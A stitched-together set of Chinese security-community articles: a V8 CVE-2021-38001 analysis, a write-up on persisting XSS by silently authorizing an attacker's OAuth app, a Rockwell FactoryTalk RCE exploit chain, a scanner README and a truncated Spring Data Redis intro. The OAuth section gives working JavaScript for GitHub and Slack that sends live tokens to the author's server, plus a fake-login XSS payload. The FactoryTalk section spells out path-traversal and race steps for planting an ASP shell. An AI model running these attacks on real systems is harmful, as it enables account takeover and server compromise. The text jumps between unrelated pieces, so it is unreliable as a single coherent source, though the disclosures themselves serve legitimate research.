00010001101111110101010111011111111101000 Action: STOP
00010001101111110101010110111111100011000 Action: UP
**结语**
这就是我如何逆向出一个完全模式的协议的整个过程。我未来还将和大家分享更多智能家居DIY的文章。 | 社区文章 |
**作者：Carl Yu@墨云科技VLab Team
原文链接：<https://mp.weixin.qq.com/s/PY_QiNgEk9F3nSSgxECfTg>**
10月28日，谷歌Chrome在发布95.0.4638.69版本时修复了天府杯上昆仑实验室提交的漏洞CVE-2021-38001。由于此漏洞的PoC非常简洁使得作者对V8引擎产生了强烈的兴趣，分析此漏洞也是作者对V8的一次学习。V8是谷歌用C++编写的JavaScript和WebAssembly引擎，在Chrome和Node.js中都有使用。
# 内联缓存
该漏洞与内联缓存（Inline Caching）有关，内联缓存是一种运行时环境（runtime
environment）的优化技巧。由于动态语言必须在运行时进行方法绑定（method binding），此优化手法对于动态语言来说十分重要，举一个例子：
def foo(a,b):
a.func(b)
这段代码的Python bytecode如下：
Disassembly of <code object foo at 0x000000000356EEA0, file "<dis>", line 2>:
3 0 LOAD_FAST 0 (a)
2 LOAD_METHOD 0 (func)
4 LOAD_FAST 1 (b)
6 CALL_METHOD 1
8 POP_TOP
10 LOAD_CONST 0 (None)
12 RETURN_VALUE
在执行时，`LOAD_METHOD`会去确认`a`的类型，然后利用`a`的类型寻找`add`。
如果没有IC，那第二次执行`a.func(b)`时就必须重复做同样的事情（在同样的context下）。这样做逻辑上是比较严谨的，但是执行效率会很低，那么有没有什么方法可以提速呢？其实，程序员写代码时，大概率会写成下面的形式：
def foo(a,...):
a.func(b)
a.func(c)
...
a.func(z)
在上面代码中，`a`的类型是不变的。Deutsch和Schiffman在他们的文章（<http://web.cs.ucla.edu/~palsberg/course/cs232/papers/DeutschSchiffman-popl84.pdf>）中提到：'在代码执行的某个时点，接收者（receiver）的类型通常和上次此时点的类型一样'。比如说上面例子中，`a`的类型并未发生变化，所以这里可以将`a`的类型进行缓存以便后面使用。
V8使用的是Data-driven
IC，这种IC将属性的加载存储信息编码成数据结构。其他函数（例如`LoadIC`和`StoreIC`）会读取这个结构然后执行相应的操作。以下是V8之前的Patching
IC和现在的Data-Driven IC的区别。
这里右边的图中的FeedbackVector的功能是记录和管理所有执行反馈，此数据结构对于JavaScript的执行效率提升十分关键。同时，在图中可以发现有Fast-path，Slow-path和Miss。Miss很好理解，即需要运行时确认类型。那么Slow-path和Fast-path分别对应了什么情况呢？通过以下例子可以理解：
let a = {foo:3}
let b = {foo:4}
这里`a`和`b`的架构一样，在处理上就没有必要为这两个对象建立不同的架构。V8的处理方式是将对象的架构与值分成对象的形状（Object
Shapes）和一个带有值的vector,对象形状在V8中被称为Maps。上面例子中，V8会先创造一个形状`Map[a]`。此形状拥有属性`foo`位于偏移0，在对应`vector[0]`的值为3。在创建对象`b`的时候，只需将`b`的Map指向`Map[a]`,然后让对应的`vector[0]=4`即可。这个即为Fast-path。
假设后面是
a.foo1 = 4
那么V8会新建一个`Map[a1]`并将`a`的Maps改为`Map[a1]`。`Map[a1]`拥有属性`foo1`位于偏移1并指向`Map[a]`，同时将对应的`vector[1]`设为4。即为Slow-path。
以下例子将会包含以上三种情况：
function load(a) {
return a.key;
}
//IC of load: [{ slot: 0, icType: LOAD, value: UNINIT }]
let first = { key: 'first' } // shape A
let fast = { key: 'fast' } // the same shape A
let slow = { foo: 'slow' } // new shape B
load(first) //IC of load: [{ slot: 0, icType: LOAD, value: MONO(A) }] --> Miss
load(fast) //IC of load: [{ slot: 0, icType: LOAD, value: MONO(A) }] --> Fast
load(slow) //IC of load: [{ slot: 0, icType: LOAD, value: POLY[A,B] }] --> Slow. Now it needs to check 2 shapes.
# 漏洞成因
该漏洞的修复Commit修改了两个函数`HandleLoadICSmiHandlerLoadNamedCase`和`ComputeHandler`。对这两个函数进行追踪可以发现以下调用链：
ComputeHandler
^
UpdateCaches
^
Load
^
Runetime_LoadWithReceiverIC_Miss
和
HandleLoadICSmiHandlerLoadNamedCase
^
HandleLoadICSmiHandlerCase
^
HandleLoadICHandlerCase
^
GenericPropertyLoad
从函数名可以看出，这里是在加载属性，那么可以联想到在了解IC时讨论的属性加载的问题。通过查看bytecode，可以发现属性加载是通过`LdaNamedProperty`来实现的。通过搜索发现以下代码：
// LdaNamedProperty <object> <name_index> <slot>
//
// Calls the LoadIC at FeedBackVector slot <slot> for <object> and the name at
// constant pool entry <name_index>.
IGNITION_HANDLER(LdaNamedProperty, InterpreterAssembler) {
TNode<HeapObject> feedback_vector = LoadFeedbackVector();
// Load receiver.
TNode<Object> recv = LoadRegisterAtOperandIndex(0);
// Load the name and context lazily.
LazyNode<TaggedIndex> lazy_slot = [=] {
return BytecodeOperandIdxTaggedIndex(2);
};
LazyNode<Name> lazy_name = [=] {
return CAST(LoadConstantPoolEntryAtOperandIndex(1));
};
LazyNode<Context> lazy_context = [=] { return GetContext(); };
Label done(this);
TVARIABLE(Object, var_result);
ExitPoint exit_point(this, &done, &var_result);
AccessorAssembler::LazyLoadICParameters params(lazy_context, recv, lazy_name,
lazy_slot, feedback_vector);
AccessorAssembler accessor_asm(state());
accessor_asm.LoadIC_BytecodeHandler(¶ms, &exit_point);
.....
}
注意最后一行，追踪`LoadIC_BytecodeHandler`发现此函数处理了所有关于属性访问的情况。第一次访问时并不会`FeedbackVector`所以会进入`LoadIC_NoFeedBack`函数。
void AccessorAssembler::LoadIC_NoFeedback(const LoadICParameters* p,
TNode<Smi> ic_kind) {
Label miss(this, Label::kDeferred);
TNode<Object> lookup_start_object = p->receiver_and_lookup_start_object();
GotoIf(TaggedIsSmi(lookup_start_object), &miss);
TNode<Map> lookup_start_object_map = LoadMap(CAST(lookup_start_object));
GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss);
TNode<Uint16T> instance_type = LoadMapInstanceType(lookup_start_object_map);
{
// Special case for Function.prototype load, because it's very common
// for ICs that are only executed once (MyFunc.prototype.foo = ...).
Label not_function_prototype(this, Label::kDeferred);
GotoIfNot(IsJSFunctionInstanceType(instance_type), ¬_function_prototype);
GotoIfNot(IsPrototypeString(p->name()), ¬_function_prototype);
GotoIfPrototypeRequiresRuntimeLookup(CAST(lookup_start_object),
lookup_start_object_map,
¬_function_prototype);
Return(LoadJSFunctionPrototype(CAST(lookup_start_object), &miss));
BIND(¬_function_prototype);
}
GenericPropertyLoad(CAST(lookup_start_object), lookup_start_object_map,
instance_type, p, &miss, kDontUseStubCache);
BIND(&miss);
{
TailCallRuntime(Runtime::kLoadNoFeedbackIC_Miss, p->context(),
p->receiver(), p->name(), ic_kind);
}
}
在这里找到了`GenericPropertyLoad`。同时发现无论如何都会执行`Runtime::kLoadNoFeedbackIC_Miss`。这个函数其实就是`RUNTIME_FUNCTION(Runtime_LoadWithReceiverIC_Miss)`。
至此完整的调用链已经找到了，那根据此调用链，可以发现在第一次访问属性时，由于没有`FeedbackVector`，会调用`LoadIC_NoFeedback`。假设`lookup_start_object`不是小整数且没有被淘汰（被回收），那么就会调用`GenericPropertyLoad`，随后再调用`LoadNoFeedbackIC_Miss`。在`ComputeHandler`中,发现修改的判断分支检查了`holder`是否在`IsJSModuleNamespace`，但是在`HandleLoadICSmiHandlerLoadNamedCase`中却加载的是`receiver`，此对象并不在`JSModuleNamespace`中。所以当`FeedbackVector`被创建后，内部的IC中的类型记录可能与真正调用时的类型不符，假设此时使用IC中储存的对象类型调用`JSModuleNamespace`中的某些属性，那么V8会根据`FastPath`使用IC中存储的类型，但是由于`receiver`不是此类型，就会导致类型混淆。
综上所述，复现此漏洞需要以下条件：
1. 在`JSModuleNamespace`中放置一个可以随时调用的属性/函数
此条件可以通过export文件中的函数或属性即可，比如说在“一个文件”中：
export let foo = {}
//或者（笔者使用的方法）
export function foo()
{
....
}
在“另一个文件”中：
import * as foo from "一个文件.mjs";
%DebugPrint(foo)
会有以下结果：
/*
DebugPrint: 000003BF080496D9: [JSModuleNamespace]
- map: 0x03bf082077f9 <Map(DICTIONARY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x03bf08002235 <null>
- elements: 0x03bf08003295 <NumberDictionary[7]> [DICTIONARY_ELEMENTS]
- module: 0x03bf081d3229 <Other heap object (SOURCE_TEXT_MODULE_TYPE)>
- properties: 0x03bf080496ed <NameDictionary[17]>
- All own properties (excluding elements): {
0x03bf08005669 <Symbol: Symbol.toStringTag>: 0x03bf080049f5 <String[6]: #Module> (data, dict_index: 1, attrs: [___])
f: 0x03bf081d3349 <AccessorInfo> (accessor, dict_index: 2, attrs: [WE_])
}
- elements: 0x03bf08003295 <NumberDictionary[7]> {
- max_number_key: 0
}
000003BF082077F9: [Map]
- type: JS_MODULE_NAMESPACE_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: DICTIONARY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- dictionary_map
- may_have_interesting_symbols
- non-extensible
- prototype_map
- prototype info: 0x03bf081d3369 <PrototypeInfo>
- prototype_validity cell: 0x03bf08142405 <Cell value= 1>
- instance descriptors (own) #0: 0x03bf080021c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x03bf08002235 <null>
- constructor: 0x03bf081c3bed <JSFunction Object (sfi = 000003BF08144745)>
- dependent code: 0x03bf080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
*/
1. 在另一个文件中创建一个对象，并使得此对象的`lookup_start_object`和`holder`不同并符合`holder`为`JSModuleNamespaceType`。之后，调用“一个文件”中的函数（访问属性），以触发`LoadWithReceiverIC_Miss`导致的`UpdateCaches`。
import * as foo from "一个文件.mjs";
class Test(){}
class Test1(){}
let tmp = new Test();
Test.prototype.__proto__=Test1;//修改lookup_start_object
Test.prototype.__proto__.__proto__=foo;//修改holder
1. 重复以上步骤直到IC开始使用FeedbackVector中的信息。由于
TNode<Module> module =
LoadObjectField<Module>(CAST(p->receiver()), JSModuleNamespace::kModuleOffset);
认为这里会提供一个`foo`，但是`p->receiver`并不是`foo`。此时便会触发类型混淆。
# 修复方案
修复该漏洞只需保证`ic.cc`和`accessor-assembler.cc`中使用的对象类型是相同的即可，V8选择的方式为在`HandleLoadICSmiHandlerLoadNamedCase`中使用`holder`（而不是`receiver`）作为Load的参数。并在`ComputeHandler`中为`smi`类别单独开分了一个判断分支，以确保在处理`HandleLoadICSmiHandlerLoadNmaedCase`中一定会拿到`smi_handler`。
修复Commit内容如下：
近期Google官方修复了包括在天府杯中披露的和已发现存在在野利用的多个高危漏洞，建议Chrome用户积极将程序升级到最新稳定版以免受到攻击，目前最新稳定版本为96.0.4664.77。
**参考链接**
<https://github.com/v8/v8/commit/e4dba97006ca20337deafb85ac00524a94a62fe9>
<https://github.com/maldiohead/TFC-Chrome-v8-bug-CVE-2021-38001-poc>
<http://web.cs.ucla.edu/~palsberg/course/cs232/papers/DeutschSchiffman-popl84.pdf>
<http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202110-2070>
* * * | 社区文章 |
# 结合Oauth的XSS利用技术
|
##### 译文声明
本文是翻译文章，文章原作者 dxa4481，文章来源：github.com
原文地址：<https://github.com/dxa4481/XSSOauthPersistence>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
当面试时被问到“XSS（Cross Site Scripting，跨站脚本攻击）最大的危害是什么？”，通常大家的回答是：“攻击者可以使用
`document.cookie`窃取会话令牌”。
从技术层面来讲，虽然这一点适用于某些应用程序，但在现代浏览器中，通过设置`httponly`[标志](https://www.owasp.org/index.php/HttpOnly)已经能够避免JavaScript读取会话令牌信息。
XSS可能还有其他危害，比如能够完全控制用户账户或者网站，因为这种攻击能够以用户的身份执行各种操作、窃取数据。虽然从一般意义上来讲，攻击者的确可以利用XSS以用户身份执行各种操作、读取各种数据，但主要的限制因素在于操作执行时间，攻击过程受用户在页面上的停留时间所影响。
在受害者关闭页面后，攻击者希望能够长期有效、不受限制、隐蔽地访问受害者的账户，这是真实存在的一种持久化需求。
为了解决这个问题，攻击者可以考虑推荐安装`Oauth`应用，配合XSS窃取Oauth凭据，攻击过程无需用户交互，我也会通过实际网站演示几个攻击样例。
## 二、其他XSS持久化技术
在深入研究Oauth之前，我们首先来看一下其他一些持久化方案。
前面提到过，`httponly`标志是窃取会话令牌的一个主要限制因素，但实际上还有其他一些限制因素，其中包括：
* 生命周期较短的会话
* 应用可能使用的设备指纹识别技术
* 用户注销行为
### Service Workers
网上已经有一些有趣的技巧能够实现持久化目标，比如滥用XSS以及JSONP来安装[Service
Workers](https://c0nradsc0rner.com/2016/06/17/xss-persistence-using-jsonp-and-serviceworkers/)。
这种技巧并不局限于JSONP。一般而言，如果存在任意文件上传点，或者可以通过其他方法搞定与XSS入口点同源的一个JavaScript文件，那么我们就可以安装service
worker。
这种方法存在一些缺点，比如：
* 攻击复杂度较高（需要满足较为精确的条件）
* 必须依赖受害者长时间访问
* 网站只需删除service worker入口点就能解除持久化后门，包括：
* 删除JSONP入口点
* 清除文件上传点
* 端点改动
* 其他操作
### UI Redressing
另一种技巧就是利用UI
Redressing来诱骗用户输入凭据。攻击者可以使用XSS，在受害者原始页面上构造一个伪造的登录界面，然后攻击者可以借助现代浏览器的API，修改URL地址栏，使其看起来像是登录页面。
我们可以使用`history` API完成该任务：
history.replaceState(null, null, '../../../../../login');
然后看一下攻击效果：
首先找到存在XSS漏洞的一个站点：
https://xss-game.appspot.com/level1/frame?query=undefinedundefinedundefined<script>prompt(1)</script></script>)
然后修改URL，使其看起来像已经重定向到登录页面：
https://xss-game.appspot.com/level1/frame?query=%3Cscript%3Ehistory.replaceState%28null%2C%20null%2C%20%27..%2F..%2F..%2Flogin%27%29%3Bdocument.body.innerHTML%20%3D%20%22%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3Ch1%3EPlease%20login%20to%20continue%3C%2Fh1%3E%3Cform%3EUsername%3A%20%3Cinput%20type%3D%27text%27%3EPassword%3A%20%3Cinput%20type%3D%27password%27%3E%3C%2Fform%3E%3Cinput%20value%3D%27submit%27%20type%3D%27submit%27%3E%22%3C%2Fscript%3E
点击该链接后，用户会看到自己处于`/login`地址，然而服务端并不存在该地址（如果我们直接访问该地址，服务端会抛出`500`错误代码）。
这种技巧也能掩盖页面的源代码。如果我们点击“查看源代码”，看到的是`/login`的源代码，而不是恶意页面的源代码。
攻击者可以使用这种技巧窃取用户凭据，但这种方法最明显的缺点在于攻击过程需要与用户交互。
## 三、Oauth持久化方法
### Oauth简介
Oauth这种机制允许第三方获取用户账户的长期访问权限，之前已经有攻击者滥用过该机制，[诱骗](https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks/)用户点击授权按钮。
授权第三方应用后，用户可以为第三方应用提供一个长期可用的令牌，第三方应用可以通过不同方式，利用该令牌访问用户账户。
### 与XSS结合使用
这里我想探索的是如何使用XSS，在无需用户交互的情况下授权由攻击者生成的恶意app，我们唯一目的是获取用户账户的长期访问权限。
由于我们能以用户的身份执行一些操作，那么只要Oauth的授权页面与XSS点同源，那么就能以用户的身份安装Oauth应用。下面我们来看一下具体例子。
### Github案例
首先我们在Github中构建一个Oauth应用：
熟悉Oauth的人都知道，一旦用户点击授权按钮，我们的服务器就可以获取一个长期可用的令牌，能够访问我们请求的所有scope（权限范围）。
Github已经采取一些防护措施，用来保护某些oauth
scope。如果用户最近在这些scope上没有输入凭据，那么就需要重新输入凭据。基于这一点，我们的app只请求不需要凭据的scope。这些scope包括email、Webhooks读取及写入，这样我们就能以用户的身份在repos（仓库）上安装[Webhooks](https://developer.github.com/webhooks/)。
由于Github将Oauth授权页面托管在主域名上，因此`github.com`上任意位置只要存在XSS漏洞，我们就能以用户的身份来授权应用。为了模拟XSS攻击，大家可以在JavaScript终端中粘贴如下代码。
> 警告：如下代码会向我的服务器发送一个实时Oauth凭据。
fetch("https://github.com/login/oauth/authorize?client_id=3b46677ca554abcd215a&scope=email,write:repo_hook").then(function(response) {
response.text().then(function (text) {
var oauthForm = '<form id="potato" action="/login/oauth/authorize"' + text.split('<form action="/login/oauth/authorize"')[1].split("<button")[0] + '<input name="authorize" value="1"><input type="submit" id="potato"></form>';
document.write(oauthForm);
document.getElementById("potato").submit();
});
})
浏览器控制台：
就这么简单，以上代码可以安装Oauth应用，将令牌发送给我的服务器。现在攻击者已经可以长期访问受害者账户，也能以目标用户的身份安装webhooks。
### Slack案例
我们还可以使用这种技术攻击slack。如果用户具备相应权限，则如下JavaScript代码可以强迫用户在自己的workspace（工作区）中安装一个Oauth应用：
为了模拟XSS攻击，此时我们还是可以将如下JavaScript代码粘贴到自己的workspace域中。
> 警告：如下代码会向我的服务器发送一个实时Oauth凭据。
fetch(location.origin + "/oauth/authorize?scope=channels:history+users.profile:read&client_id=496141141553.514835337734").then(function(response) {
response.text().then(function (text) {
var oauthPath = text.split('<noscript><meta http-equiv="refresh" content="0; URL=')[1].split('?')[0];
fetch(location.origin + oauthPath).then(function(response){
response.text().then(function (text) {
var crumb = text.split('type="hidden" name="crumb" value="')[1].split('"')[0];
var evilForm = `<form id="potatoCarrots" action="${oauthPath}" method="post" accept-encoding="UTF-8"><input type="hidden" name="create_authorization" value="1" /><input type="hidden" name="crumb" value="${crumb}" /></form><script>document.getElementById('potatoCarrots').submit()</script>`
document.write(evilForm)
})
})
});
})
如上代码运行在用户workspace的XSS上下文中，会安装一个Oauth应用，其scope为`channel:history`。攻击者可以获取用户workspace中公开channel的长期读取权限。
## 四、总结
对于攻击者而言，安装Oauth应用是获取受害者账户访问权限的一种可靠方式。XSS可以用来安装应用，并且受害者无法察觉。
本文讨论的这种方法可以替代传统的 `document.cookie` XSS攻击方法，获取目标账户的长期访问权限。
大家可以访问[此处](https://en.wikipedia.org/wiki/List_of_OAuth_providers)获取支持Oauth的部分网站列表。
## 五、建议
Slack以及Github会在安装应用时向用户发送通知邮件，这种方法非常好，可以通知用户可能存在问题的操作。
Github还设置了一些额外安全策略，使敏感的oauth授权操作需要重新输入密码，这可能是一把双刃剑，因为此时用户需要定期向应用输入敏感凭据。前文提到的密码窃取技术可能对用户群体来说更加有效，因此需要阻止这种自动化Oauth令牌窃取技术影响这些scope。
还有另一种防护方法，可以考虑将Oauth应用授权地址迁移到独立的子域名上。这样就能限制XSS攻击面，攻击者需要找到同源上的注入点，如果范围过小，这个任务可能很难完成。
某些厂商（如Google）已经为Oauth授权页面分配单独的子域名，也就是说，我之前分析的许多厂商并没有为Oauth授权页面分配单独的子域名。
基于这个原因，我认为与Oauth授权页面同源的XSS漏洞（不管是反射型、存储型或者DOM型）都应该比与Oauth授权页面不同源的XSS漏洞危害程度要高。 | 社区文章 |
# Rockwell工控软件的5个组合漏洞导致RCE
##### 译文声明
本文是翻译文章，文章原作者 zerodayinitiative，文章来源：zerodayinitiative.com
原文地址：<https://www.zerodayinitiative.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
2020年1月份，S4首次举办了在迈阿密的Pwn2Own比赛，在针对工业控制系统（ICS）产品的比赛中，Pedro Ribeiro和Radek
Domanski的团队利用5个组合漏洞，在Rockwell的工控人机交互软件上(FactoryTalk View SE
HMI)实现了RCE，并赢得了25,000美元的奖金和25个Pwn积分。现在厂商已经发布补丁，并且提供了writeup,演示视频和Metasploit模块。特别感谢Rockwell为本次比赛提供的虚拟机环境。
## 正文
本篇文章的主要内容是Pedro Ribeiro（[@pedrib1337](https://github.com/pedrib1337
"@pedrib1337")）和Radek Domanski（[@RabbitPro](https://github.com/RabbitPro
"@RabbitPro")）发现的一系列漏洞。这些漏洞已经在一月份ZDI的Pwn2Own迈阿密2020比赛中使用。Rockwell FactoryTalk
View SE人机界面（HMI）版本11.00.00.230 中存在上述漏洞。较旧的版本也可能会被利用，但是Rockwell尚未确认。
利用效果：无需身份认证即可在安装IIS的Windows主机上实现远程代码执行。攻击依赖于五个独立漏洞的组合。第一个漏洞是未经身份验证的项目复制请求，第二个漏洞是目录遍历，第三个漏洞是竞争条件。为了在所有目标上实现完全的远程代码执行，还利用了两个信息泄漏漏洞。
本文根据组合漏洞利用的先后顺序，分别详细阐述各个漏洞的细节，然后将他们的组合利用方式通过下面的视频展现出来：
(视频地址：[https://youtu.be/PIid0Ql_KmU）](https://youtu.be/PIid0Ql_KmU%EF%BC%89)
### 漏洞细节
FactoryTalk View SE在Microsoft
IIS上开放了几个REST请求路径，这些请求路径可以通过远程访问。其中一个路径`/rsviewse/hmi_isapi.dll`，它是一个ISAPI
DLL处理程序，主要执行一些处理FactoryTalk项目管理的工作。
由于本文描述的漏洞都是使用纯黑盒的渗透测试方法发现的，所以没有必要对ISAPI DLL二进制程序进行逆向分析。
#### 漏洞1：未经身份验证的项目复制请求
`hmi_isapi.dll`的一个操作是`StartRemoteProjectCopy`,可以通过`HTTP GET`请求来启动此操作：
http：// <TARGET> /rsviewse/hmi_isapi.dllStartRemoteProjectCopy& <PROJECT_NAME>＆<RANDOM_STRING>＆<LHOST>
其中：
* <TARGET>指运行FactoryTalk View SE的服务器。
* <PROJECT_NAME>必须是服务器上的现有项目。
* <RANDOM_STRING>可以是任何随机字符串。
* <LHOST>是攻击者的主机IP。
发送这个请求后，如果<TARGET>主机上存在<PROJECT_NAME>，<TARGET>就会向<LHOST>发出`HTTP GET`请求：
http：// <LHOST> /rsviewse/hmi_isapi.dll?BackupHMI& <RNA_ADDRESS>＆<PROJECT_NAME>＆1＆1
<RNA_ADDRESS>是FactoryTalk View SE使用的内网地址。这与我们的漏洞利用没有关系，因此忽略它。
而且<LHOST>可以完全忽略请求内容，攻击者只需要返回如下响应
HTTP/1.1 OK
(...)
<FILENAME>
收到此响应后，<TARGET>将向<LHOST>发送`HTTP GET`请求：
http：// <LHOST> / rsviewse / _bak / <FILENAME>
<LHOST>可以向<TARGET>发送文件<FILENAME>，文件内容可以为任意值`<FILE_DATA>`
<TARGET>随后将向地址<FACTORYTALK_HOME>_bak\<FILENAME>写入<FILE_DATA>，然后根据文件内容执行某些操作(由于这些操作和漏洞利用无关，因此没有具体分析)，最后删除<FILENAME>文件。所有这些动作都在不到一秒钟的时间内发生。
<FACTORYTALK_HOME>FactoryTalk View SE 的默认值为C:\Users\Public\Documents\RSView
Enterprise。
#### 漏洞2：目录遍历
发现了第一个漏洞之后，下一个目标就是获得远程代码执行。虽然文件名和文件的内容是完全可控的，但是还不能实现远程代码执行。
实现RCE的最简单方法是将带有ASP或ASPX代码的文件写入IIS目录。利用目录遍历漏洞，将<FILENAME>设置为：
../SE/HMI项目/shell.asp
<TARGET>就会将文件写入<FACTORYTALK_HOME>\SE\HMI
Projects\shell.asp。由于这个路径在IIS中配置为虚拟路径，这个ASP文件一旦被访问就会立即执行。
#### 漏洞3：竞争条件
上面提到<FILENAME>在被创建的1秒钟之内就会被删除。为了能够执行ASP代码，需要在写入文件后立即对其进行访问。
这是一个典型的竞争条件漏洞，将在下一节中说明利用方式。
#### 漏洞4和5：GetHMIProjects和GetHMIProjectPaths的信息泄漏
为了实现可靠的利用，有必要知道<PROJECT_NAME>在FactoryTalk View
SE服务器上的路径。这些步骤对于PoC不是必需的，但对于武器化的利用还是必要的。厂商提供的Metasploit模块确实实现了这些步骤。
通过以下请求，攻击者可获得项目列表
http：// <TARGET> /rsviewse/hmi_isapi.dll?GetHMIProjects
FactoryTalk View SE将响应：
<?xml version="1.0"?>
<!--Generated (Sat Jan 18 04:49:31 2020) by RSView ISAPI Server, Version 11.00.00.230, on Computer: EWS-->
<HMIProjects>
<HMIProject Name="FTViewDemo_HMI" IsWatcom="0" IsWow64="1" />
</HMIProjects>
在XML中包含了项目名称，可以在随后的请求中使用它来显示项目的路径：
http：// <TARGET> /rsviewse/hmi_isapi.dll?GetHMIProjectPath& <PROJECT_NAME>
这个响应将包含项目的完整路径：
C：\ Users \ Public \ Documents \ RSView Enterprise \ SE \ HMI Projects \ FTViewDemo_HMI
这个返回路径可以用来计算正确的路径穿越值，然后访问ASP文件实现RCE。
### 组合利用
实现RCE的流程：
1-获取服务器上的项目列表。
2-提取项目的实际路径以计算正确的目录遍历路径。
3-启动一个HTTP服务器，该服务器负责响应FactoryTalk的请求。
4-启动一个线程，该线程不断尝试访问恶意创建的ASP文件路径。
5-发出请求触发项目复制。
6-攻击者可以“赢得”竞争条件，并以IIS用户身份执行ASP代码。
### Metasploit模块
对那些想测试自己系统的用户，我们提供了可以利用的Metasploit模块。利用完整步骤可以在上面的视频中看到实际操作。可以在[此处](https://github.com/thezdi/PoC/blob/master/CVE-2020-12027/rockwell_factorytalkse_rce.rb)访问该模块。
## 结论
我们希望您喜欢我们在Pwn2Own
迈阿密中的有关漏洞的writeup。罗克韦尔（Rockwell）在今年6月下旬修复了这些漏洞，并分配了漏洞编号CVE-2020-12027，CVE-2020-12028和CVE-2020-12029。但是安全公告似乎已移至需要登录才能阅读的位置。您需要创建一个帐户来访问其安全公告。该帐户是免费创建的。如果您是罗克韦尔的客户，我们强烈建议您与售后支持联系，以确保您部署了最新版本的FactoryTalk
View SE | 社区文章 |
作者：jeffzh3ng
项目地址：<https://github.com/jeffzh3ng/Fuxi-Scanner/blob/master/doc/README.zh.md>
伏羲是一款开源的网络安全检测工具，适用于中小型企业对企业信息系统进行安全巡航检测
本系统通过模块化提供多种安全功能
* 基于插件的漏洞扫描功能
* 持续化漏洞管理
* 多种协议的弱口令检测
* 企业子域名收集
* 企业 IT 资产管理及服务发现
* 端口扫描
* AWVS(Acunetix Web Vulnerability Scanner) 接口调用
其他功能敬请期待...
### 截图
### 快速开始
git clone --depth 1 https://github.com/jeffzh3ng/Fuxi-Scanner.git fuxi-scanner
cd fuxi-scanner
docker build -t jeffzh3ng/fuxi-scanner .
或者
docker pull jeffzh3ng/fuxi-scanner
启动
docker run -dit -p 5000:5000 -v /opt/data:/data jeffzh3ng/fuxi-scanner:latest
或者
docker run -dit -p 5000:5000 -v /opt/data:/data -v /etc/localtime:/etc/localtime jeffzh3ng/fuxi-scanner
// 同步主机与 Docker 时间
等待10s，浏览器打开 `http://127.0.0.1:5000`，检查`fuxi`是否开始工作
`password: whoami`
### 安装
[安装手册](https://github.com/jeffzh3ng/Fuxi-Scanner/blob/master/doc/INSTALL.zh.md)
### 使用
#### 漏洞扫描功能
该模块主要设计初衷是为了对互联网新爆发的安全漏洞进行快速响应及风险排查，以及对已发现的漏洞修复情况进行追踪，该模块可以和资产服务发现模块结合使用，进行快速应急响应
该模块通过调用知道创宇开源扫描器 Pocsuite 进行扫描，具备编码能力的可以根据模版快速开发插件，不具备插件编写能力的可以通过[SeeBug
社区](https://www.seebug.org/)获取
本项目不提供漏洞插件，互联网上有项目提供了很多的 Pocsuite 插件，可以在Github上进行搜索，建议不要执着于插件数量，不要当成漏扫使用哦
扫描任务周期可以选择单次、每日、周及每月，扫描对象可以是单个 IP、网段或者 Url
扫描插件通过插件模块中新增插件进行上传，插件必须符合 [PoC
编写规范及要求说明](https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md)
#### 资产管理功能
该模块具备资产管理，资产服务发现功能
企业安全人员可以根据信息系统对IT资产进行划分，创建不同的资产库，通过资产库可以灵活的创建扫描漏洞任务
资产服务发现模块通过调用 `Nmap` 对资产库主机进行端口扫描，并将结果入库，企业安全人员可以通过关键字搜索功能筛选出符合条件的服务添加到漏洞扫描任务中
搜索使用右上角搜索框，不要使用服务列表中的筛选功能
#### 认证安全检测
后端调用[hydra](https://github.com/vanhauser-thc/thc-hydra)进行扫描，目前支持55种常见协议：
Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ,
IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID,
Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP,
SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2),
SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
扫描任务周期可以选择单次、每日、周及每月，扫描对象可以是单个 IP、网段或者 Url
该功能采用模块化方式实现，具备开发能力可以自由添加其他协议破解插件，具体实现会在 [WiKi]() 进行公布
#### 子域名收集模块
通过基于字典的暴力猜解方式收集企业子域名，可以在系统高级设置配置字典，项目`tests`文件夹下提供了一份域名字典
#### Acunetix Scanner 接口调用
AWVS 11 不能同时添加多个 URL 地址，该模块通过调用 AWVS
接口进行批量扫描，需在`instance/config.py`配置`AWVS`接口地址及`Key`
目前支持任务删除，报告批量下载功能
#### 端口扫描
一个端口扫描的辅助功能，用于临时的端口探测，存货主机发现，等等
#### 系统设置
各模块扫描线程数，子域名字典配置，端口配置
### 相关链接
* 项目主页: <https://fuxi-scanner.com>
* 下载: [.tar](https://github.com/jeffzh3ng/Fuxi-Scanner/tarball/master) or [.zip](https://github.com/jeffzh3ng/Fuxi-Scanner/zipball/master)
* 邮箱: [[email protected]](mailto:[email protected])
* Telegram: [jeffzhang](https://t.me/jeffzhang)
* * * | 社区文章 |
## 简介
Spring Data Redis隶属于Spring Data家族, 提供简单易用的方式来访问Redis缓存。
Spring Data
Redis（包括最新版本）在往Redis里面写数据的时候，默认会先对数据进行序列化，然后把序列化之后的字节码写入Redis；然后当Spring Data
